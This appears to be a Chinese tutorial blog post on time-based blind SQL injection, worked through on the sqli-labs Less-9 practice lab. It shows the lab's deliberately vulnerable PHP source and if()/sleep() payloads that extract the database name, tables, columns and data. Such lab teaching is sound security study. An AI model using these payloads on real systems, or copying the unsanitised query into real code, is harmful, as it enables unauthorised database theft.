SQL注入<四>-时间盲注

概论

时间盲注:时间盲注与布尔盲注的注入原理大致相同,区别就是时间盲注没有回显或者正确和错误页面回显一样。所以时间型盲注需要页面沉睡时间判断,通过 sleep()函数测试,通过if()和sleep()联合逐个猜解数据,例:

1
http://127.0.0.1/Less-9/?id=1' and (if(ascii(substr(database(),1,1))>100,1,sleep(5))  --+

如果当前查询的当前数据库ascii(substr(database()),1,1)的第一个字符的ASCII码大于100,ture执行select 1页面正常返回,false执行select sleep(5)页面沉睡5秒后返回。1和sleep(5)也可以换下位置。

常用函数

1
2
3
4
sleep(n):使数据库在暂停n秒之后再将搜索结果输出
if((条件),m,n):若条件为真 返回m,若条件为假 返回n
length(database()):返回当前数据库名长度
mid(database(),m,n):返回数据库名的第m位之后的n位

sqli-labs less9

以sqli平台第九题为例写一下时间盲注

less9是基于Time-GET-单引号-字符型-盲注

进行注入测试,与上一关一样

1
2
3
4
http://127.0.0.1/sqli-labs-master/Less-9/?id=1
http://127.0.0.1/sqli-labs-master/Less-9/?id=1'
http://127.0.0.1/sqli-labs-master/Less-9/?id=1"
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' --+

但是发现不管上面那一个,页面返回是一样的回显为you are in………..

1

这样就不能根据页面的回显来判断匹配结果,要使用延时函数sleep()对两种输入进行区分。附源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
include("../sql-connections/sql-connect.php");
error_reporting(0);

if(isset($_GET['id']))
{
$id=$_GET['id'];
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
else
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
//print_r(mysql_error());
//echo "You have an error in your SQL syntax";
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';
}
}
else { echo "Please input the ID as parameter with numeric value";}
?>

注入过程与less8是一样的,payload也差不多,比上一关多了一个if函数

判断数据库长度

1
2
3
?id=1' and if(length(database())>1,1,sleep(4)) --+
?id=1' and if(length(database())>2,1,sleep(4)) --+
以此类推...

执行成功进行1,失败进行sleep(4)沉睡4秒,如图

2

3

所以数据库长度是8

下面都是一样的,根据页面返回时间不一样判断是否注入成功

爆数据库名

1
?id=1' and if(ascii(substr(database(),1,1))=100,1,sleep(5)) --+

通过修改substr的步长来进一步猜测数据库名的其他字符

爆表名

1
?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=105,1,sleep(5)) --+

爆列名

1
?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))=105,1,sleep(5)) --+

爆数据

1
?id=1' and if(ascii(substr((select id from users limit 0,1),1,1))=105,1,sleep(5)) --+

可以看出时间盲注的中心思想和布尔盲注相同,也通过截取函数查询逐个匹配想要的信息。

手工注入会很慢还是要写脚本跑,我还没找到很好的脚本。可以在网上找下。

也顺便提下less10,和Less9差别只在于单双引号,less10是双引号闭合改下payload,修改查询语句闭合后用脚本注入即可。